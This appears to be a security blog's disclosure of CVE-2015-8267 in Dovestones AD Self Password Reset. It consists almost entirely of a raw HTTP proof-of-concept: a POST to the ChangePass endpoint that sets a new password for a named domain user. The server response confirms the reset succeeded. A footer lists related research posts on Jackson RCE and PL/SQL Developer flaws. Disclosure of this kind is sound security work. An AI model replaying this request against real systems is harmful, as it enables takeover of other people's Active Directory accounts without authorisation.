Dovestones Software AD Self Password Reset (CVE-2015-8267)

POST /PasswordReset/Reset/ChangePass HTTP/1.1
Host: apps.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://example.com/PasswordReset/Reset
Content-Length: 162
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

command=Next&NewPassword=Password1&ConfirmPassword=Password1&HomeUrl=%2FPasswordReset&DomainName=example.com&Username=testuser&X-Requested-With=XMLHttpRequest

HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 631
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/8.5
X-AspNetMvc-Version: 4.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
X-Powered-By: ARR/3.0
X-Powered-By: ASP.NET
Date: Sat, 17 Oct 2015 03:13:31 GMT

<form action="/PasswordReset/Reset?Length=5" data-ajax="true" data-ajax-failure="HandleError" data-ajax-method="POST" data-ajax-mode="replace" data-ajax-update="#content" data-ajax-url="/PasswordReset/Reset/Confirm" id="pr-reset-success" method="post">    <div class="field-wrapper">
        <fieldset>
            <span>Password Reset</span>

            <div>
                <label>Congratulations! Your password has been reset.</label>
            </div>
                <div>
                    <button type="submit" name="command">Finish</button>
                </div>
        </fieldset>
    </div>
</form>

Related Posts

• YAWAST v0.7 Released

  It has now been over a year since the last major release of YAWAST, but today I am happy to release version 0.7, which is one of the largest changes to date. This is the result of substantial effort to ensure that YAWAST continues to be useful in the future, and add as much value as possible to those performing security testing of web applications. If you are using the Gem version, simply run gem update yawast to get the latest version.

• Threat Modeling for Applications

  Whether you are running a bug bounty, or just want a useful way to classify the severity of security issues, it’s important to have a threat-model for your application. There are many different types of attackers, with different capabilities. If you haven’t defined the attackers you are concerned about, and how you deal with them – you can’t accurately define just how critical an issue is. There are many different views on threat models; I’m going to talk about a simple form that’s quick and easy to define.

• Exploiting the Jackson RCE: CVE-2017-7525

  Earlier this year, a vulnerability was discovered in the Jackson data-binding library, a library for Java that allows developers to easily serialize Java objects to JSON and vice versa, that allowed an attacker to exploit deserialization to achieve Remote Code Execution on the server. This vulnerability didn’t seem to get much attention, and even less documentation. Given that this is an easily exploited Remote Code Execution vulnerability with little documentation, I’m sharing my notes on it.

• PL/SQL Developer: HTTP to Command Execution

  While looking into PL/SQL Developer – a very popular tool for working with Oracle databases, to see how it encrypts passwords I noticed something interesting. When testing Windows applications, I make it a habit to have Fiddler running, to see if there is any interesting traffic – and in this case, there certainly was. PL/SQL Developer has an update mechanism which retrieves a file containing information about available updates to PL/SQL Developer and other components; this file is retrieved via HTTP, meaning that an attacker in a privileged network position could modify this file.

• PL/SQL Developer: Nonexistent Encryption

  (See here for another issue discovered during this research; Updates over HTTP & Command Execution.) PL/SQL Developer by Allround Automations has an option to store the user’s logon history with passwords – the passwords are encrypted with a proprietary algorithm. At this point, you should know how this is going to go. For those that don’t know, PL/SQL Developer is a tool for developers and database administrators to access Oracle – an essential tool in many enterprise environments.